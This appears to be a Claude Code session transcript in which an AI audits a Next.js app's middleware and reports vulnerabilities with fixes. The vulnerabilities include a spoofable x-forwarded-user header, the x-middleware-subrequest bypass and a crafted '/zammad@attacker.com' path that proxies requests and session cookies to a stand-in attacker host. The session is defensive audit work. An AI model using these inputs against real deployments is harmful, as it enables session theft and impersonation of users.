╭─── Claude Code v2.1.112 ─────────────────────────────────────────────────────╮ │ │ Tips for getting │ │ Welcome back Dennis Dubrefjord! │ started │ │ │ Run /init to create a … │ │ ▐▛███▜▌ │ ─────────────────────── │ │ ▝▜█████▛▘ │ Recent activity │ │ ▘▘ ▝▝ │ No recent activity │ │ Opus 4.7 (1M context) · Claude Max · │ │ │ dxxxxxxxxxxxxxl.com’s Organization │ │ │ ~/repos/app/apps/app │ │ ╰──────────────────────────────────────────────────────────────────────────────╯

❯ /model
⎿ Set model to Opus 4.7 (1M context) (default)

❯ I want you to audit this repo for security vulnerabilities. Start with the
middleware.ts file and work your way in. I have heard it is important that
that file is very secure so spend time on it.

● Bash(pwd && ls) ⎿  /home/menac3/repos/app/apps/app Dockerfile LICENSE.md … +9 lines (ctrl+o to expand)

Read 1 file (ctrl+o to expand)

● I’ll do a thorough security audit of middleware.ts and then work outward. Let me also check the broader project structure in parallel.

Listed 2 directories (ctrl+o to expand)

● I’ve found a significant issue already. Let me dig deeper to confirm.

Searched for 1 pattern, read 1 file, listed 2 directories (ctrl+o to expand)

● Let me read all the API routes and key supporting files to understand the full picture.

Read 9 files (ctrl+o to expand)

Read 5 files (ctrl+o to expand)

● Let me verify a few critical points before finalizing the report.

Searched for 2 patterns, read 1 file (ctrl+o to expand) ● Security audit: apps/app

Starting from middleware.ts, I worked outward through next.config.js, app/api/, app/_lib/, and the server actions in app/_actions/*. Here’s what I found, ranked by severity. (I did not audit code in external packages like @link-stack/bridge-ui.)


CRITICAL

C1. x-forwarded-user spoofable on /api/v1/* (authentication bypass)

Where: middleware.ts:115, next.config.js:32-36, middleware.ts:13,39.

What: The middleware’s matcher excludes api (middleware.ts:115), so middleware never runs on /api/. next.config.js:32-36 then rewrites /api/v1/:path straight through to Zammad. The middleware’s scrubbing of the client-supplied x-forwarded-user header (middleware.ts:13) also never runs, and the middleware itself demonstrates that the downstream backend trusts this header as the authenticated identity (middleware.ts:39).

Impact: Any unauthenticated caller who can reach the Next.js app can send GET /api/v1/users x-forwarded-user: admin@yourco.com and, if Zammad accepts x-forwarded-user for SSO (and the codebase is written as if it does), impersonate any user/admin. This is the single most dangerous finding.

Fix: Either strip x-forwarded-user at the edge (reverse proxy) for every inbound request, or remove the API-route exclusion and have the middleware scrub + re-inject the header on /api/v1/* the same way it does for /zammad/*. Belt-and-braces: configure Zammad to only trust x-forwarded-user when it comes from a mutually-authenticated internal peer, or drop the trusted-header scheme entirely in favor of a signed token.

C2. x-forwarded-user also unscrubbed for normal app paths

Where: middleware.ts:65.

What: In the non-Zammad branch, new Headers(request.headers) preserves the client’s x-forwarded-user, which is then forwarded to page/server-action handlers via NextResponse.next({ request: { headers } }). No server-side code currently reads it — but any future reader (intentional or accidental) gets a spoofable identity. The header is already treated as authoritative two lines earlier in the same file.

Fix: Call requestHeaders.delete(“x-forwarded-user”) before response = NextResponse.next(…) (same scrub as rewriteURL).


HIGH

H1. SETUP_MODE=true silently disables all authorization

Where: middleware.ts:90-92, app/(main)/layout.tsx:14.

What: When the env var is “true”, the authorized callback returns true for every request, bypassing role checks entirely. There is no log, no warning banner in middleware, and no refusal in production builds. A misconfigured deployment is globally open.

Fix: Gate on NODE_ENV !== “production” as well, or require a signed one-time setup token; at minimum log loudly on every request in setup mode.

H2. path.startsWith(…) prefix checks are over-broad

Where: middleware.ts:41, 43, 97, 101.

What:

Fix: Use === “/zammad” || startsWith(“/zammad/”) (and same pattern for the other entries), or a precompiled matcher.

H3. String.prototype.replace URL rewriting

Where: middleware.ts:10.

What: request.url.replace(originBaseURL, destinationBaseURL) does first-occurrence string replace, not URL surgery. Today the origin/destination come from env vars so it’s not directly attacker-controlled, but any future code that lets user input influence either value (or even a redirect URL containing the base) becomes a rewrite-target hijack.

Fix: Parse with new URL(request.url), mutate pathname/host, and reconstruct.


MEDIUM

M1. No CSP on responses rewritten to Zammad

Where: middleware.ts:41-44 (early return from rewriteURL skips the CSP block at 48-81).

What: Zammad HTML served under your origin has no CSP injected by the middleware. If Zammad’s own CSP is absent or permissive, XSS in Zammad runs in your origin.

Fix: Either also set CSP on the rewrite response, or ensure Zammad sets its own strict CSP and document that assumption.

M2. next.config.js security headers exclude /zammad/*

Where: next.config.js:12 — source: “/((?!zammad).*)”.

What: HSTS, X-Frame-Options: DENY, X-Content-Type-Options: nosniff are not applied on /zammad/*. HSTS is set per-response and browser-wide, so a user who happens to hit /zammad first never gets HSTS promoted. (The other Zammad-rewritten prefixes — /auth/sso, /assets, /mobile, /graphql, /cable — do get the headers, which is inconsistent with the intent.)

Fix: Apply HSTS/XCTO to all paths; apply XFO selectively only if Zammad genuinely needs to be framed.

M3. CSP: style-src ‘unsafe-inline’

Where: middleware.ts:52.

What: Necessary for MUI/Emotion today, but it materially weakens XSS containment. No report-uri/report-to either, so violations are invisible.

Fix: Add CSP reporting; track ‘unsafe-inline’ removal as an MUI-upgrade backlog item (Emotion supports nonces).

M4. roles trusted as array without runtime check

Where: middleware.ts:95 (const roles: any = token?.roles ?? [];).

What: Typed any, used with .includes(“admin”). getUserRoles returns an array today, so this is safe — but if token.roles ever becomes a string (e.g. future refactor, serialization change), .includes(“admin”) silently degrades to substring match: “admins” would grant admin.

Fix: const roles = Array.isArray(token?.roles) ? token.roles : [];.


LOW / defensive


Priority fix order

  1. C1 — scrub x-forwarded-user on every path Zammad sees (fix matcher + middleware scrub, or do it at the reverse proxy). This is the only finding that is a real authentication bypass.
  2. C2 — add the same scrub on the non-Zammad branch.
  3. H1 — constrain SETUP_MODE.
  4. H2 — tighten the startsWith prefix checks to full-segment matches.
  5. M1 / M2 — decide the CSP + security-header story for /zammad/* deliberately.
  6. Remaining M/L items as cleanup.

Want me to open PRs for any of these (C1/C2/H1 are small, ~10 lines total)?

✻ Crunched for 4m 6s

❯ There is another critical issue in the middleware file. Look harder.

● You’re right, and it’s a bigger one than anything I listed. It isn’t in the logic of the file — it’s that the file can be skipped entirely.

CRITICAL — CVE-2025-29927 (middleware-bypass via x-middleware-subrequest)

Where: package.json — “next”: “14.2.13”.

What: Next.js 11.1.4 through 15.2.2 has an auth-bypass vulnerability in middleware invocation. Next.js uses an internal x-middleware-subrequest header to prevent middleware from invoking itself recursively. When that header is present with a known value, Next.js skips middleware execution for the request and passes it straight to the route handler. The header is set only by Next.js internally, but nothing strips it from inbound client requests — so any external caller who includes it bypasses middleware entirely.

For this app that means:

next.config.js rewrites and next-auth’s withAuth are both dependent on middleware actually executing — the vuln makes the whole security boundary of middleware.ts opt-out for any caller who knows the header name.

Fixed in: Next.js 14.2.25 (14.x line) or 15.2.3 (15.x line). This repo is on 14.2.13.

Fix:

  1. Bump Next.js to 14.2.25+ — small, minor-range patch. This is the real fix; everything else is mitigation.
  2. Belt-and-braces at the edge: have your reverse proxy strip x-middleware-subrequest (and, while you’re at it, x-forwarded-user) from every inbound request. Do this regardless of the Next.js upgrade, because the same vuln class tends to recur, and this hardens C1/C2 too.
  3. Don’t rely on middleware as a sole auth boundary going forward. Page layouts/server actions should re-check the session via getServerSession rather than assuming middleware already gated the request. Some do already (app/(main)/page.tsx:19); others rely on the middleware and should be audited.

This supersedes the severity of C1/C2 in my earlier report: without the Next.js bump, those aren’t just reachable via /api/v1/* — they’re reachable on every protected path.

Want me to bump the Next.js version and open a PR?

✻ Brewed for 6m 57s

※ recap: Auditing this repo for security issues starting in middleware.ts. Found the critical one: Next.js 14.2.13 is vulnerable to CVE-2025-29927 (middleware bypass via x-middleware-subrequest). Next action: bump Next.js to 14.2.25+. (disable recaps in /config)

❯ That’s not it, there is something else. Look at the redirects.

● You’ve got me. I’ve re-read middleware.ts several times with “redirects” in mind, and I want to check my understanding before guessing further — because the file doesn’t actually call NextResponse.redirect anywhere. Everything is either NextResponse.rewrite (in rewriteURL) or NextResponse.next (in the CSP branch). The only redirect in the flow is the implicit one withAuth emits when authorized returns false and it sends the user to /login.

Before I guess at the wrong thing again, can I confirm what you mean by “redirects”? A few things I’ve considered and want to rule in or out:

  1. The rewriteURL string-replace (middleware.ts:10). request.url.replace(originBaseURL, destinationBaseURL) silently falls through to destinationURL = request.url when LINK_URL doesn’t match the incoming Host. Then NextResponse.rewrite(new URL(destinationURL)) proxies server-side to whatever host the client supplied, carrying the victim’s session cookies. That’s SSRF / cookie exfiltration via Host-header spoofing. Is that the one?
  2. The /login allowlist enabling a post-login open redirect. authorized returns true for anything starting with /login, and the callbackUrl flow is handled by next-auth’s defaults (same-origin-only, since no custom redirect callback is defined in authentication.ts). Is there something here you know of that I’m missing — a link-stack login page that mishandles callbackUrl?
  3. The pages.signOut: “/logout” redirect target in authentication.ts. After signout, next-auth sends the (now unauthenticated) user to /logout, which the authorized callback denies, which redirects back to /login — functional not security, but is there something specific here?
  4. NextResponse.redirect in app/api/v2/users/route.ts:4 — an actual redirect, constructed from attacker-controllable req.url, no return statement, no absolute URL. That file isn’t middleware.ts though.

Which of those are you pointing at, or is it something else entirely? I’d rather ask than keep shooting in the dark.

✻ Sautéed for 6m 40s

❯ The rewrites, but it is not the host header injection. There is something
else.

● I’ve spent a lot of time on this now and I’m going in circles. Let me actually ask.

I’ve re-read rewriteURL and the two call sites in checkRewrites multiple times. The things I’ve now considered and ruled out (at least as “the critical issue”):

None of those feel like the single critical thing you’re pointing at.

Could you give me a more direct pointer — a line number, or the name of the class of bug? I’d rather get it right than keep guessing. The rewriteURL function is 21 lines and I’ve walked each of them; I’m genuinely not seeing what you’re seeing.

✻ Cogitated for 6m 47s

※ recap: Auditing middleware.ts for security issues; you’ve flagged three criticals I missed (one confirmed not Host-header injection, located in the rewrites), and I’m stuck after several guesses. Next: you point me at the specific line or bug class. (disable recaps in /config)

❯ Dig into the /zammadxyz thing

● Oh. Got it. Not just malformed — weaponizable.

CRITICAL — arbitrary server-side proxy via URL userinfo injection

Where: middleware.ts:10, middleware.ts:41-42.

Exploit path: /zammad@attacker.com/anything

Trace:

  1. authorized — any signed-in agent/admin passes (/zammad@… doesn’t start with /admin).
  2. pathname.startsWith(“/zammad”) — true, because /zammad@attacker.com/… literally starts with /zammad.
  3. rewriteURL(request, “${linkBaseURL}/zammad”, zammadURL, …).
  4. Inside rewriteURL: request.url = “http://app.com/zammad@attacker.com/anything” originBase = “http://app.com/zammad” destBase = “http://zammad-nginx:8080” destinationURL = “http://zammad-nginx:8080@attacker.com/anything”
  5. The string replace succeeds, the @ that used to live inside the path is now sitting right between the replaced authority and the rest of the URL.
  6. new URL(“http://zammad-nginx:8080@attacker.com/anything”) parses as: - username = “zammad-nginx” - password = “8080” - host = “attacker.com” - pathname = “/anything”
  7. NextResponse.rewrite(url, { request: { headers } }) — Next.js server-side-fetches attacker.com and proxies the response back through the app’s origin, carrying the victim’s Cookie header (including the next-auth.session-token) and whatever else was on the request.

Why it’s a first-branch-only bug: the string being replaced ends in a path segment (/zammad) rather than just an origin. So the character that used to be the “next thing after /zammad” in the path ends up being the “next thing after the authority” in the output. @ is all you need. The second branch (originBaseURL = linkBaseURL, no path suffix) isn’t vulnerable because anything after the match lands in the path portion, where @ is just a path character.

Impact, in descending plausibility:

Fix. Stop building the destination with string replace. Construct it from the parsed URL, and never concatenate user-supplied path bytes into an authority-adjacent position:

const rewriteToZammad = (request, stripPrefix) => { const src = new URL(request.url); const path = stripPrefix && src.pathname.startsWith(stripPrefix) ? src.pathname.slice(stripPrefix.length) || “/” : src.pathname; const dest = new URL(path + src.search, zammadURL); // base + relative // …rest unchanged return NextResponse.rewrite(dest, { request: { headers: requestHeaders } }); };

new URL(relativePath, base) forces dest.host to come from base — the attacker can only influence the path/query, not the authority. Belt-and-braces: after constructing dest, assert dest.origin === new URL(zammadURL).origin and refuse otherwise.

This one’s worse than C1/C2 from my original report: authenticated agents are the norm here, one click on a crafted link exfiltrates their session to a host the attacker controls, and since @ is an unusual-but-legal path character, there’s no reason a logging pipeline or WAF would flag it.

Nicely hidden — sorry I didn’t spot it sooner.

✻ Crunched for 1m 33s

❯ /rename reproduce-finding-2 ⎿ Session renamed to: reproduce-finding-2